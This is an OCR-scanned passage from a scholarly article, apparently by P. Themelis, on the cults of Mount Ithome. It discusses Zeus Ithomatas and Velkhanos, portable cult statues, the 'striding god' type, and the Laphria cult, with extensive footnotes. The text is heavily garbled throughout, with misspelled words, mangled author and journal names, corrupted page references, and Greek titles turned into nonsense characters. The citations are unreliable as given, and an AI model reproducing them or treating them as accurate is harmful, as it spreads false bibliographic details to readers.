BROCK, Fortelsa, Cambridge, 1957, no. 1414, pl. 107, II. 13 H. JEANiIlAIRE, Couroi et Coureles, Lille, 1939, p. 430-432; P.J. PERLIvIAN, "Invocatio and Imprecatio: The Hymn to the Greatest Kouros from Paliakastro and the Oath in Ancient Crete", JHS 115 (1995), p. 161-167; WILLETTS, (supra n. 2), p. 169-170 and 172; M.L. WEST, "The Diktaean Hymn to the Kouros", JHS 85 (1965), p. 149-159; N. ROBERTSON, "The RioJal Background of the Dying God in Cyprus and H17.JR 75 (1982), p. 313-359; SACKETT - MAcGILLIVRY (supra n. 4), p. 26-31; P. DIKAIOS, "A Terracotta Relief from Marion and the Palailcastro Hymn", Kadmos 1 (1962), p. 139-140. 14 G. LE RIDER, Monnaies crétoises du Il au r sièc1e av. ].-C., Paris, 1966, p. 91, nos. 38-40, pl. XXII, 20-24 and 143-149 and 195; J,N. SVORONOS, Numismalique de la Crète anGienne, Macon, 1890, s.v. Gortyne, p. 161-172, nos. 26-31, 34-36, 51-78,81-86,98-106; G. CAPDEVILLE, "L'Oracle de l'Ida crétois", Kernos 3 (1990), p. 89-101, fig. 1, who argues in favor of the oracular function of the Velkhanos cult in the Ida cave; B.V. HEAD, Hisloria Numol'l/m, a Mallual Cif Greek Numismatics (Reprint Oxford, 1964), 473, fig. 273; Ch. SELTiIlAN, Greek COiIlS., London, 1970, pl. XXXVIII 1; A.B. COOK, Zeus, II, p. 946; WILLE'ITS (supra n. 4), p. 177ff; P.R. FRANKE, Iv!. HIRMER, Die griechische Miillze, München, 1964, fig. 167. CuIts 011Moul1t ltbome 145 Velkhanos was built. 15 A month velkhanios or Elchanios is reported in t'_6th centUlY inscriptions from GortyS.l(, The name of Spring Festivals velkhania associated with this month is found at Lyttos in an inscription as late as the 2nd or 3'd centUlY A.D. 17 The name Voulkanos is still used, as stated above, to denote the summit of mount Ithome, especially in connection with the olel monastery and the post-byzantine church of Virgin MalY with her miraculous icon, constructed with spolia on the actual place of Zeus Ithomatas' sanctuary. Despite my detest for "old-fashionedn etymological speculations, 1 would like to draw attention to a possible connection of Voulkanos with Velkhanos. lR "Although the many broken lines of tradition and innumerable catastrophes of early times cannot be lightly overlooked, forces of continuity have always reasserted themselves, and probably nowhere as much as in the sphere of religion. 19n A portable cult image made of bronze was much later, in the classical period, introduced to Messene from central Greece. The perieget Pausanias who visited Messene in the period of Antoninus Pius 055-160 A.D.) writes the following about the sanctualY of Zeus Ithomatas crv, 33, 1-2} On the way ta the summit of Ithome, the acropolis of Messene, there is a spring called Clepsydra. It would be impossible ta enumerate, even if one wanted ta do sa, all those who would like Zeus ta have been barn and brought up in their own country. The Messenians are among them, tao. They say that the god was brought up here On Messene) and nursed by the Nymphs Ithome and Neela; it was from Neda that the name of the river derives, while the other Nymph, Ithome, gave her name ta the mountain. When the Kouretes abducted Zeus, ta save him from his father, they were those Nymphs who bathed Zeus here and the spring was named Clepsydra after the Idope Csteeling) of Zeus by the Kouretes. EvelY day they cany water from the spring ta the sanctuary of Zeus at Ithome. The statue of Zeus is a worle of Ageladas and was originally made for those Messenians settled in Naupactos. An annually elected priest keeps the statue in his house. They also celebrate an annual festival called Ithomaea; in the olel times they useel ta perform a musical contest as well, this can be assumed by the verses of Eumelos. Pausanias' account on the cult of Zeus-child at Aigion, a cult in many aspects similar to that of Zeus at Messene, is of importance for our discussion: The people of Aigion possess several bronze statues, one of them represents Zeus as a child and another Heracles also as bearelless youth, bath made by the 15 Iv1.P. NILSSON, Gescbicble dergriecbiscben Religion l, IVlünchen, 1967, p. 300. 1(; BCH (1905), p. 204ff. 17 BCH (1899), p. 61f, no. 6; \'7ILLEITS (supra n. 2); 1\'1. GUARDUCCI, /nscripliolles Creticae I, Roma, 1935, Lyttos, À'\!1II, 190-191, inscr. no. 11, v. 3; ead., Je Ti/uli Gor/Yllii, inscr. no. 3, v. 1 and no. 3; K. DAVARAS, "'EmYI2O:(jJcd Deltioll 18 (1963), p. 141. On Velkhanos in general, see G. CAPDEVILLE, VoICalllIS, Rome, 1995, passilll. 18 E. ANAGNOSTAKIS, "'IOTOI210YI2O:(jJI)(Éç 0llflEIWOElç", SYlllllleikta 8 (1989), p. 69, who discusses almost ail up ta now proposed etymologies of the ward Voulkanos without refering to Velkhanos. 19 BURKERT (supra n. 10), p. 15. 146 P. THEMELIS Argive Agelaclas. For bath gacls tvva priests are electecl every year, each one of them keeps a statue in his hause; in more ancient times, the mast beautiful boy was chasen ta be priest ta Zeus, but when his bearcl began ta grow this awarcl for beauty was transferrecl ta anather boy (Paus., VII, 24, 4). Most scholars accept that the statue of Zeus, which the Argive sculptor Ageladas (or HageladasY" had made for Aigion, was illustrated on bronze coins of the city issued in the period of Septemius Severus, Caracalla and Geta Clate Znd - early 3ni c. A.D.).2' On these coins the young beardless god appears striding ta the right, holding a thunderbolt in his raised right hand and canying the eagle on his outstretched left,22 The words AlGIEON PAIS and MEGAS written around the image of Zeus on some of the coins, leaves no doubt about his identification with "Kouros Megistos" and his relation ta Crete. On some of the coins Zeus is depicted as a crouching infant suckling beneath the she-goat Amaltheia. '3 The same iconographical type is used for the representation of Heracles infant on silver coins from Thebes, or the child Arkas on coins issued at Mantinea in Arcadia. One of the two statues of Zeus at Aigion should have been of small size and portable, periodically moved from the temple ta the house of the priest. The iconographic motif of an infant nursed by an animal appears in Minoan times and extends down to the Roman period. On a seal from Knossos, for example, a goat is nursing a child, a divine child according to Martin Nilsson. 21 Manolis Stefanakis provides most of the relevant depictions on coins, gems and various works of art. 2) On staters of Praisos issued in the 4th century B.e. a cow identified with Io is suclding an infant thought to be Zeus.'(' Telephos being suckled by a hind or 20 Ageladas from Argos had made statues of vietorlous athlets ln Olympia, statues of gods and a Ivluse, as weil as a monument combining bronze horses and captive women. He was probably active in the periocl 520-508 B.e., Pllny's date, NIf XÀ1"CIV, 49, of his f10ruit (87th Olymplad) Is too low; cfr. the inscription "Iuü no 631" of about 500 B.C.; G.E. MYLaNAS, 'The bronze statue ti'om Atemision', "'11A 48 (1944), p. 143-160; C.A. RaIlINsaN, Jr., "The Zeus Ithomatas of Ageladas", "'11A 49 (1945), p. 121-127; C.C. MATIUSCH, Creek Bronze Siaiumy ji'OIII Ibe Beginnings Ibrougb Ibe Fi/tb CenllllY B.C, Ithaka / London, 1988, p. 139. 21 J.H. KROLL, "Bronze coinage of Roman Aiglon", NUIIICbron 156 (1996), p. 49-78. 21 HEAD (supra n. 14), p. 431 23 F.\'? IN/HOOF-BLWvIEH - P. GARDNER, Ancienl Coins i!1ustmting Lost maslelpieces o./Arl. A NUlllislllalic Comlllentmy to Pausanias (reprlnted by A. Oikonomides), Chieago, 1964; cf T. HADZISTELIOU-l'RICE, "The Type of the crouching boy and the 'Temple Boy"', ABSA 64 (1969), p. 95-96, pl. 20,1; S. MARINATOS - M. HIRMER, Krela, 7hera und mykeniscbes Hellas, Ivlünchen, 1973, pl. 113: crouching infant macle of ivory fom Palaikastro; ChI'. VOHSTEH, Criecbiscbe Kinderslatuen, Koln, 1983, p. 189-210. 2i NILSSON (supra n. 15), p. 321, pl. 26, 6. The lack of representations from LM to Archaic speaks of course against any incligenous iconographie continuity; it seems that the motif was reintroduced under Eastern intluence. 2S M.I. STEFANAKIS, "Kyclon the oiklst or Zeus Cretagenes Kynotraphes? The Problem of Interpreting Cretan Coin Types", Eu/imene 1 (2000), p. 81 and note 13 wlth bibllography. 2(, SVOHONOS (supra n. 14), pl. XÀ'VII, 2; H. \,1EBEH, "On Some Unpubllshed or Rare Coins", NC (1896), p. 19: LE RlDEH (supra n. 14), p. 197. CuIts 0/1 klou/1t Itbome 147 a deer is represented on 4th century Re. coins from Tegea, while Kydon, the eponymous hero-oikist of the city of Kydonia, or Zeus Cretogenes himself appears on 3cd century B.e. coins of Kydonia. 27 The iconographie types of Zeus seems to be generally relatec1 to his main stages of age from chilc1hooc1 to 1l1aturitYi he is representec1: a) as infant or child carriec1 by the Nymphs-nurses,28 or suckling beneath Amaltheia or just crouching alone, b) as a beardless initiatec1 ephebe, as "Kouros Megistos" seatec1 or striding gloriously with the thunc1erbolt in his hanc1, c) as a mature bearc1ec1man in a pose similar to the previous one or seatec1 on a throne. A notable ieonographie example of Zeus is founc1 on the west pediment of the temple of Artemis Gorgo in Corfu (c. 580 B.e.). Zeus as a beardless naked youth, as Kouros Megistos holding the thunderbolt in his raised right hand attacks a Titan, probably Kronos. 29 Aiso in some late Geometrie anc1 late archaie Zeus statuettes 6'om Olympia the god appears as bearc1less youth. 30 The cult of Zeus in Olympia counts among those related to Crete, Ic1a cave, Eileithyia, the Ic1aean Daktyloi anc1 the Kouretes as guardians of the divine child (Paus., V, 7, 6 and VI, 20, 1_6).31 Among various female c1eities wor- shiped at the foot of Kronos hill at Olympia was also Eileithyia.32 Two votive bronze statuettes in the "stric1ing-god" type founc1 in the sanc- tualY of Herac1es, the so-callec1 "Pyra" on the summit of mount Oite, are of importance to our discussion as far as the age c1ifferentiation in the iconogra- phy of the god is concernec1. One of them, c1ated to the 6th centUlY B.e., represents the god as a bearc1less youth, while the second, of the early 5th , as a bearc1ed adult. Both are iconographieally ic1entieal to the "Blitzschwinger" Zeus. 33 27 BMC Pelopollllesils 202, pl. XXÀ,\T[I, 16-17, 21; cl C. BAUCHHENSS-THUEillEDL, Der Mytbos VOII Telepbos ill der alltilJell Bildkllllst, Würzburg, 1971, p. 78; STEFANAKIS (silpra n. 16), p. 83-84. 28 As it happens with the infants Hermes or Dionysos been carried by aclult figures: T. STEFANIDOU-TIVEillOU, Neoattika, Athens, 1979, p. 33, no. 48f, pl. 35-37; H. FRONING, scbmllckreliefs mit griecbiscbell Mytbell im l.]b. v. Cbr., Mainz am Rhein, 1981, p. 54, pl. 5.2. 29 E. SIMON, Die Gotter der Griecbell, Ivlünchen, 1969, p. 29-30, fig. 17; G. DONTAS, )(Cl.1 rreD1IXUSlç YICI. 1Y]V 1Y]Ç Kse)WeCl.ç UlOUÇ Cl.exCl.i')(OUÇ )(Cl.1 lOUÇ rrer.:·llllouÇ )(),Cl.Ul)WUç xeovouç", in B. PETRAKOS (ec!.), EPAINOS/orJ. Papademitrioll, Athens, 1997, p. 52-164, esp. 130, fig. 62 with bibliography. .\11 A. IvlALLWITZ, Olympia IIl1d seille Ba Il tell, ]'vlünchen, 1972, p. 22-23, fig. 11 . .lI N. PAPACHATZIS, lliXvaiXv(ov EÀÀrX80ç lŒ(!11YiJatç. l11waiJViiXxrX, HÀSiiXXrX, Athens, 1979, p. 372-373, note 1; S. PINIATOGLOU, Eileitbyia, \\Iürzburg, 1981, p. 40, fig. 2. 32 H.-V. HERMANN, "Zur tiltesten Geschichte von Olympia", MDAI(A) 77 (962), p. 12. JJ N. PAPADAKIS, 1Y]Ç 'rrueIXç' 1Y]Ç Ül1Y]ç", Deltioll 5 (1919), Parartema 24-33, esp. 30-31, figs. 6a, b - 7a, b; Papaclakis is aware of the iconographie iclentity of his statuettes to the Zeus lthomatas type, that is why he refers to Hagelaclas ancl his statue of the young Heracles in Aigion; cf Ch. KAI(OlJZOS, "Arro 10 HeIX)()'EIOV lOU KuvoulXeyouç", Deltioll 8 (1923), p. 85-102, esp. 93 with note 1; cf J'vLArruscH (silpra n. 20), p. 114, fig. 5.11 (stricling gocl from Mantinea in Paris recognized as Heracles (?)); C.A. SALOWEY, "AvCl.1EIVOIlEvoÇ, 10 Q,orrCl.),ov: Recognizing the stance of Herakles", 41A 97 (1993), p. 299; A.L. KUTTNER, DYllasty alld Empire ill tbe Age o/AlIgllstlls: Tbe Case 0/ tbe Boscoreale ClipS, Berkeley / Los Angeles, 1993, fig 26; C. IvlAHlJSCH, 77Je Victoriolls 148 P. THEivlELIS The use of small movable figures in the cult "may in principle be older than the setting up of cult images in temples", while portable figures were usually not iconographically identical with the finnly fixed cult statues. 31 Movable cult figures, in most of the cases we know, coexistecl sicle by side with "immovable" large size cult statues. This seems to have been the case not only \vith Zeus at Aigion and Ithomatas at Messene, but also with Artemis Orthia at Messene. The small portable wooden cult image (xoanon) of Orthia existed sicle by sicle with the colossal marble cult statue of Artemis Phos- phoros, a work of Damophon. The portable cult image was usecl in cult practices and initiation rites and carried by female initiates.35 In Sparta the xoanon of Orthia was carried by the priestesss herself during the bloody ritual (Paus. 3.16.10). The famous statue of Athena Polias on the Athenian Acropolis was a small ,xoal1OI1 made of woocl light to bear (Paus., l, 26, 6). It was carried to the sea covered with a veil during the fest of Plynteria (Xenophon, Hel!. l, 4, 12).36 The statue of Zeus Ithomatas made by Ageladas for the Messenians settled at Naupaktos, saicl to have been brought to their new capital by the olel priestly families when they returned to Messene from the exile in 369 B.e.; it was also portable according to Pausanias' account. 37 On coins of the city issued in the 4th centUlY B.e. Ithomatas appears in striding pose with the thunderbolt in his raised right ancl the eagle on his extendedleft hand. 38 The type of striding Zeus with the thunderbolt in his raised right hand (Keraunios, Kataibates) appears in the iconography of the late 6th and early 5th century B.e. and later mainly in Messapia, Illyria, Epirus, Aetolia39 and Elis- l'ou/h, Los Angeles, 1997, p. 12, fig. 9 (l" c. B.C. relief of the harllspex C. Fulvius ti'0111 Ostia showing fishermen lifting a striding Heracles' statue in their nets). 34 BURKERT (supra n. 10), p. 90. 35 P. THEivlELIS, "Artemis Oltheia at Messene, the Epigraphical and the Archaeological Evi- dence", in R. HAGG (ed.), Allclel1l Greek Cu// Prac/iee jivm /he Epigraph/ca/ Evidellce. fll/el7l. Semillar al/he Swedish flls/i/u/e a/ A/hells 22-24 November 1991, Stockholm, 1994, p. 101-122. 36 N. PAPACHATZIS, "The Cult of Erechtheus and Athena on the Acropolis of Athens", Kel7los 2 (989), p. 177. COll/ra M. CHRISTOPOULOS, Kel7los 5 (992), p. 27-39. 37 COOK, Zeus (supra n. 14), II 1 (Cambridge, 1925), p. 741 and II 2 (940), p. 1153; G.W. ELDERKIN, "Bronze statuettes of Zeus Keraunios", 41A 44 (1940), p. 225-233; C.A. ROBINSON, "The Zeus Ithomatas of Ageladas", 41A 49 (1945), 121-127 (we have to note that the floruit periocl of Ageladas (late 6t\' - carly 5'h c. RC.) does not accord weil with the period the IvIessenians were settled at Naupactos (FAllS., IV, 31, 7); \V.H. GROSS, "KlIltbiider, Blitzschwinger and Hageladas", RhM 70 (1963), p. 13; id., RE X A (1972), col. 316, s.v. Epik/esell; H. SVENSON-EVERS, "IEROS ü1KOS. Zum Ursprung des griechischen Tempels", in W. HOPFNER (ecl.) , Ku//ulld Ku//bau/ell auj' derAkropo/is, 1l1Iel7lallolla/es Symposioll vom 7. bis 9. Ju/i 1995 ill Ber/ill, Berlin, 1997, p. 145 and 147-148. jS BIvIC, Peloponnesos, 109-11, pl. XXII, 10, 11, 15; IMHOOF-BLUMER - GARDNER (supra n. 23), p. 67; HEAD (supra n. 14), p. 431, fig. 236. 39 c. ANTONETTI, Les É/o/iells. fmage e/ re/ig/oll, Paris, 1990, p. 224-225, pl. 20, 2, thinks that the statuette comes from Naupaktos and not Amvrakia, the village in Aetolia where K. Rhomaios actually found il. CuIts on Mount Itbome 149 Olympia lii , in an area with common cultural traits to which \Vest Locris, Achaia and Messenia also belong.41 It should be noted here that the type of a striding aggressive god recognized as a weather god had a long tradition in the iconography of the Orient. Moraver statuettes of the Syra-palestinian god Reshef, which seem to follow this tradition, have been found in various sanctuaries in Greece. 42 Of special importance is a silver statuette of the Striding Zeus type of the Late Branze Age in the Ashmolean, prabably of Hittite origin, found in Kallipeuke at Lower Olympus. 13 Oliver Smith drew 40 E, KUNZE, "Kleinplastik aus Bronze", Olympia Bericbt VII, Berlin, 1961, p. 138-180 and 145- 151, pl. 60-61. 41 N. DEGRASSI, "Lo Zeus Stilito di Ugento", Arcbaologica 25 (1981), p. 32; R WÜNSCHE, "Der Gott aus dem Meer", JdI 94 (1979), p.99-103, fig. 29-31; Fr. D'ANDRIA, "H :M8ŒucmlC( [LE'[C(çu )(C([ Iovlou", in MYRTOS. Studies ill tbe MemolJI ofJulia Vokotopoulou, Thessaloniki, 2000, p. 46, fig. 10, who interprets the statue as an image of Zeus Kataibates; C. CARAPANOS, Dodolle et ses ruilles, Paris, 1878, p. 32, no. 13, pl. 12, no. 4; K.A. NEUGEIJAUER, "Zeus von Dodona", JdI 49 (1943), p. 162-173; W. SCHIERING, Die Brollzestatuetle des Zeus VOII Dodolla, Berlin, 1969, passim; Albanien, Scbiitze aus dem Land der Sldpetaren, Mainz, 1988, p. 378-379, no. 293; S. KAROUZOU, Illustrated Guide to tbe Museum, Athens, 1977, p. 99; IvLATTUSCH (supra n. 20), p. 68, fig. 4.17; Ch. TZOUVARA-SOULI, "Common CuIts in Epirus and Albania", in P. CABANES (ee!.) , L'illyrie méridionale et l'Épire dans l'Antiquité II. Actes du Il colloque illtemational de Clermont-Ferrand, Octobre 1990, Paris, 1993, p. 78-79, fig. 17-18; K. RHOMAIOS, 8)( 111Ç 8'1' lre(2ltpÉ(28lC(Ç )(C(1â 1C( É111 1920-21", Deltion 6 (1920-21), p. 169, fig. 3-6; A. FuRT\VÀNGLER, Die Brollzell IIl1d die tïbrigell Kleil?fllllde, Olympia IV, Berlin, 1895, p. 46, pl. 7 and 8, nos. 43-44; E. KUNZE, Olympiabericbt nI, Berlin, 1944, pl. 51.52; E. KUNZE, "Ausgrabungen in Olympia 1962/3", Deltioll 18 (1963), p. 110, pl. 146c; cf P. GARDNER, Catalogue Q/Greek Coills. 17Jessaly to Aetolia, Bologna, 1963, p. 109, no. 1, pl. 32, no. 10; O. RAVEL, "The Coins of Ambracia", NNM 37 (1928), p. 66-67, no. 139-140, pl. 13; 1. LACROIX, Les reproductiolls de statues SUI' les mOllllaies grecques, la statuaire arcbaique et classique, Liège, 1949, p. 74; cf K. WARDLE, "Cultural Groups of the Late Bronze and Ealy Iron Age in North-West Greece", Godesl?iak 15 (1977), p. 153-199. 42 H. FRANKFORT, 17Je Ait and Arcbitecture Qf tbe Allcfent Orient., London, 1970, p. 162-163, 256 and 298, fig. 188, 294 and 349; cf RD. BARNErr, "Oriental Influences on Archaic Greece", in 17Je AegeclJ1 alld tbe Near East. Studies Presellted to Hetty Goldmall, New York, 1956, p. 216f.; D. CONRAD, "Der Gott Reschef", Zeitscbr(fr./iïr die Altestamelltlicbe \Fissenscbaft 83 (1971), p. 157- 183; D. COLLON, "The Smiting God, a Study of Bronze in the Pomerancc Collection in New York", Levant 4 (1972), p. 111-134; W. BURKERT, "Resep-Figuren, Apollon von Amyldai und die Erfindung des Opfers in Cypern", GB 4 (1975), p. 64-66; H. SEWEN, 17Je Standing Armed Figurines in tbe Levant, Munich, 1980; C. ROLLEY, "Un dieu syrien à Thermos", BCH 108 (1984), p. 669-670; H. GALLET DE SANTERRE, "Les statuettes de bronze mycéniennes du type dit du "Dieu Reshef" clans leur contexte égéen", BCH 111 (1987), p. 7-29; C.1vL KEESLING, Tbe Votive Statlles Qf tbe Atbellian Acropolis, Cambridge, 2003, p. 82. On peak sanctuaries and their relation to the Thundergod, Chr. KARDARA, Epbem (1966), p. 149 ff. 43 EVANS (sllpra n. 7), p. 125-126; cf P.R MOORAY, "Problems in the Anthropomorphic Metal Statuary ti'om Syro-Palestine before 330 B.C.", Levallt 16 (1984), p. 67ff; C. lŒNFREW, Tbe Arcbaeology Qi' Cult. 17Je SanctuCIIY Qi' Pbylakopi, London, 1985, p. 302 ff; S.V. CANIJY, "Some Hittite Figurines in the Aegean", Hesperia 38 (1969), p. 143-146; P. ADAM-VELENI, E. POULAKI and K. TZANAVARI, Agxodeç AygoIJr!eç ae aVJxgovouç 8gôf/ouç. I<:evTgIJ(1 i)f(X)(e8ovf(X, Athens, 2003, p. 23-24, with colour figure. 150 P. attention to the iconographie connection of this type with statuettes of Zeus from Olympia. il Bronze statues and partieularly votive statuettes of this type have been found at various sanctuaries in \Vestern Greece a partieularly in Olympia.45 A striding gocl appears also on coins of Elis since archaie times. 4" The type may have originated in Elis (Olympia) where a variety of bronze statuettes of Olympian Zeus in striding pose was reproduced from the Geometrie period to the 5th century B.e4? Through the Elean colonies the type was most likely transplanted to Epirus, Illyria and Messapia ancl usecl for votive images of the goc1 by cities of the area. The ieonography of the stricling Zeus is rightly compared to that of Athena Promachos, since both are depieted in vivid action as if participating in a Gigantomachy. On a sihrer tetradrachm issued in 277/276-239 B.e. by Antigonos II Gonatas (Berlin, Staatliches Münzkabinett) Athena Alkis appears in the form of an archaistie Pallaclion holding the thunderbolt of her father Zeus in her raisecl right hancl insteacl of the spear. 4H Willy Schwabacher aclvancecl the theOlY that the first cult statue of Zeus in Olympia, before Pheidias, could have been a statue in the type of the stricling gocl."9 He based his arguments on the presence of the early statuettes in Olympia ancl the emblems on Elean coins, on the fact that the type of the stricling Zeus existed in monumental size as weIl, as proved accorcling to him, by the bronze statue of Zeus founcl in the sea near cap Artemision in North Euboea. 50 However, the type of an aggressive stricling gocl is not appropriate Il O.P.H. SMITH, "Near Eastern Forerunners of the Stricling Zeus", Arcbaeology 15 (1962), p. 176-178. 4S A. GREIFENHAGEN, Antil8e KunstweJ18e, Berlin, 1966, pl. 17-18; SIMON (supra n. 29), p. 30, fig. 18 bronze statuette of Zeus from Doclona in Berlin-Charlottenburg, um 470 B.C.); KUNZE (supra n. 41), pl. 60-61. ,16 W. SCHABACHER, "Olympischer Blitzschwinger", AlltK 5 (1961), p. 9-17; The type of stricling Zeus with thunclerbolt appears on Athenian bronze coins of the 2"" - early f' century B.C.: M. OIKONOMJDES, "0 X6:),)(lVOÇ V0[1lG[1C1.1l)(ÔÇ 8YjGCl.u(?ôÇ wu sv AG)(),YjJTls(ou", in PETRAKOS (sllpra n. 29), p. 217-228, figs 1-2 \Vith bibliography. 47 E. KUNZE, "Zeusbilcler in Olympia", AllA 2 (1946), p. 100; cf H.-V. HERMANN, "Zum Problem c1es mykenischen Ursprungs griechischer Heiligtümer: Olympia uncl Delphi", in Forscbllngen zlIr agâiscben Vorgescbtcbte, Das Ende der lIlylJeniscben IFelt. Akten des intematiollalen Kolloqillllls, 7.-8.Jllli 1984, Koln, 1987, p. 168, n. 44; S.I. DAKARIS, Cassopaia and tbe Elean Colollies, Athens, 1971 (Ancient Greek Cities, 4); cf C. SUEREP, "Presupposti c1ella colonizzazione lungo le coste epirote", in CABANES (supra n, 41), p, 29-39. Accorcling to PAUSANIAS (V, 3-5) ancl ApOLLODORE (XI, 8, 3) Aetolians hacl setllecl in Elis cluring the Dorian Descent, while in Olympia, a common hero festival of Eleans ancl Aitolians \Vas celebratecl (PAUS., V, 15, 12). 4H SIMON (sllpra n. 29), p. 192, fig. 175. 49 SCHABACHER (supra n. 46), p. 9-16. 50 Ch. KAROUZOS, "0 I10GSlOWV wu A(?1S[1wlou", Deltion 13 (1930), p. 41-104; bibliography up to 1947 in H.G. BEYEN, "Le Poseiclon c1'Altémision et l'école cie sculpture cie Sicyone", in H.G. BEYEN - \'(7. VOLLGRAFF, A/gos et Sicyone, Études relatives à la sculpture grecque de s()'le sévère, Paris, 1974, p. 41, note 1; B.S. RIDGWAY, Tbe Seuere Style in Greek Sculptllre, Princeton, 1970, p.62-63, notes 4-7; WÜNSCHE (supra n.41), p. 77-111; on the chronology see J. KLEINE, "Zur Datierung cles Poseiclon vom Kap Artemision", Festscbrift jiïr Gerbant Kleiner, Tübingen, 1919, p. 76; ChI'. PITEROS, "0 fllCl.ç 10U A(?1s[1lG10U )(CI.( 0 I10GSlOWV wu 1G8[106 1YjÇ KO(?lvEJou", in CuIts 011 Jl10unt Itbome 151 for a cult statue in this early period, not to mention the problem of the material: marble (or ivory) and not metal is usua11y preferred for the construction of cult statues. Brunilde Ridgway considers the composition of the Artemision Zeus "inconceivable" as a cult statue: "first, because a figure in action is not compatible with what we know of cult statues in the Fifth centuly; second, because the action is such as to frighten, not merely to impress the beholder; third, because a cult image at this periocl would probably be frontal, to establish a direct relationship with the worshipper".51 She is also right, l think, to underline the need for an open air setting by this kind of representation of a striding, aggressive god. 52 For the same reasons the type of an aggressive striding "kriegerische" Athena, the Athena Promachos, as usua11y represented in the iconography is not appropriate for a cult statue but was meant to be rather an ex-voto placed in the open. 53 Gabriel Nick would like to see the cult statue of the "Urparthenon" in the figure of Athena as she is depicted on the Panathenaic amphoras. 51 This seems rather impossi- ble for the reasons provided above. Also Herington connected the striding pose of Athena Promachos (as seen on the Panathenaic amphoras and in the bronze statuettes) with the cult statue of Athena on the Acropolis not taking into account the above-mentioned difficulties. 55 The difficulty would be overcome, l think, if we accepted that the "strid- ing-god" type was exclusively used for free standing large size votive statues and for sma11 size portable cult images.56 5ma11 and portable were the statues of Zeus at Aigion and Messene as we have pointed out above. Portable images of Zeus and Dione as we11 seem to have existed sicle by sicle with their firmly fixed marble cult statues. A sma11 size cult image of the striding Zeus may have existed in Olympia not only before the colossal chlysele- AGAI..MA. Siudies 011 allciellf Sculplure ill bO/lOur of George Despillis, Thessaloniki, 2001, p. 99- 121, fig. 1 with earlier bibliography and the various interpretations proposed so far including his own which seems to be weil documented. 51 RIDGWAY (supra n. 50), p. 62. 52 Ibid., p. 62-63, fig. 98-99: GROSS (supra n. 37), p. 13-19. Cf K. NIKOLAOU, OAlb 5 (1964), p. 37-45, pl. 1-3: SIiIION (supra n. 29), p. 32. 53 C. ROLLEY, "Statuettes d'Athéna Promachos", RA (1968), p. 35-48; A. GIŒIFENHAGEN, Griecbiscbe Goller, Berlin, 1978, 11, colorplateI: E. SIMON (supra n. 29), p. 188-189, fig. 169-172 (= terracotta statuettes of Athena Promachos of the 7th c. B.C. from the acropolis of Gortys on Crete in the Heracleion Museum, as weil as a bronze statuette of Promachos from the Athenian Acropolis dated to about 550 B.C. in the National Museum of Athens, and another one from the Acropolis clated to 480170 B.C.): cf M. JOS1', "Statuettes de bronze archaiques provenant cie Lycosoura ", BCH99 (1975), p. 339-364; KEESLING (supm n. 42), p. 81-85. 54 "Die Athena Parthenos - ein griechisches Kultbilcl", in HOPFNER (supra n. 27), p. 24 (short version of his Ivlainz dissertation 1994). 55 C.J. HERING1'ON, Albeua Promacbos alld Albella Po/ias, Manchester, 1956: cf E. Harrison's review of Herington's book in AIA 61 (1957), p. 208-209, who rejects his proposition. Against Herington's proposition is also E.K. BORTIIWICK, "Two notes on Athena as protectress", Hermes 97 (1969), p. 385-391, and G. PINNEY, "Pallas ancl Panathenaea", in J. CHRIS1'IANSEN and T. Iv1ELAJ'IDER (ecls.), Proceedillgs of tbe 3"/ 5')lmpsium ill Allciellf Greek alld Re/aled Polle/y, Copenhagen, 1988, p. 465-477. 56 GROSS (supra n. 37). 152 P. THEMELIS phantine Pheidian statue of the seated Zeus but also after that and was used in ritual processions. The Ugento Zeus made of hollow bronze, only 0.71 m high, dated in the late 6th - early sth century Re., couId be taken as an example of a small size cult image whieh could be easily transported if needed. 57 A similar small and portable hollow-cast bronze statue of about the same size was recently found fallen in front of the stone base of a lost firmly fixed large cult statue, inside the cella of the temple of Apollo at ancient Metropolis in Thessaly; it is interpreted as Apollo in full armour and dated arouncl the middle of the 6th century B.e.; the god represented in an aggressive striding pose holding a spear in his raised right hand. 58 Limnatis and Laphria The most cletailed account of a fire festival given by Pausanias is not the festival of the Kouretes at Messene but that of Laphria at Patras as mentioned above (Paus., IV, 31, 7).59 The cult of this Goddess came first to Messene and later, in the Augustan period, to Patras from Kalydon where it existed since Geometrie times with the earliest temple being built at Kalydon probably in the 7th century Be. The temple was constructed close ta a water spring, as was the case with the temple of Artemis at Brauron. 6o The chryselephantine statue of the gocldess Laphria, a work of Menaiehmos and Soïda from Naupaktos, of c. 460 B.e., was transferrecl to Patras on command of Augustus, according ta Pausanias (Paus., VII, 18, 8-10 ).61 The Messenians returned from 57 N. DEGI\ASSI, "Lo Zeus sti/ita di Ugento", Arcbae010gia 25 (1981), p. 32; J'vLATruSCH (supra n. 20), p. 68, fig. 4.17. 5H B.G. INTZESILOGLOU, "A Newly Discovered Archaic Bronze Statue from Metropolis (Thes- saly)", in c.e. J'vlA1TUSCH, A. BRAUER and S.E. KNUDSEN (eds), From tbe Pm1s to tbe Wb01e 1. Acta 0/ tbe 13'[, In/emationa1 Bronze Congress, Cambridge Massacbuselts, May 28:1une 1, 1996, Portsmouth RI, 2000, p. 65-68; id., "The Archaic Temple of Apollo at Ancient J'vletropolis (Thessaly)", in J'v!. STAMATOPOULOU, M. XAGORAlU (eds.), Eycauating C/assica1 Cu//ure: Recellt Arcbae010gica/ Discoueries in Greece, Oxford, 2002, p. 109-115, pl. 30. 59 M.P. NILSSON, "Fire-Festivals in Ancient Greece",]HS 43 (1923), p. 144-148; G. PICCAGULA, "L'o]ocausto di Patrai" in Le sacnj/ce dans 1'mzliquité c1assique, Genève, 1981 (En/re/iens sur 1'Alltiqui/é c1assique, 27), p. 243-277. (,() F. POULSEN, K. RHOMAIOS, "Erster vorlaufiger Bericht über die diinisch-griechischen Ausgrabungen von Kalydon", DVSM 14, 3 (1927), p. 348; E. DYGGVE, F. POULSEN, Das Lapbrion, der Tempe1bezirk uon Ka/ydon, mi/ eil1em re1igionsgescbicbt1icben Beitrag uon F. Pou1sen, Kopenhagen, 1948, p. 161-163, 238, 352-335; EAA IV (1961), s.u. Kalyclon (L. VLAD BOIŒLLl); \V.K. PRiTCHEn', Greek Arcbiues, Cu1ts and Topograpby, Berkeley, 1996, p. 113; BURKERT (silpra n. 10), p. 62; ANTONETTI (supra n. 39), p. 245-269; A. MAZARAKIS, From RII/ers' Dwe11ings /0 Temp1es: Arcbi/ectllre, Religion al1d Society in Iron Age Greece (110-700 B.C.), Jonserecl, 1997, p. 95 and 310, fig 38; D. DAMASKOS, UlllersuâJlll1gen ZII be//enisliscben KII//bi1del:', Stuttgart, 1999, p. 52-55. 61 J. HERBILLON, Les culles de Pa/ras, Baltimore, 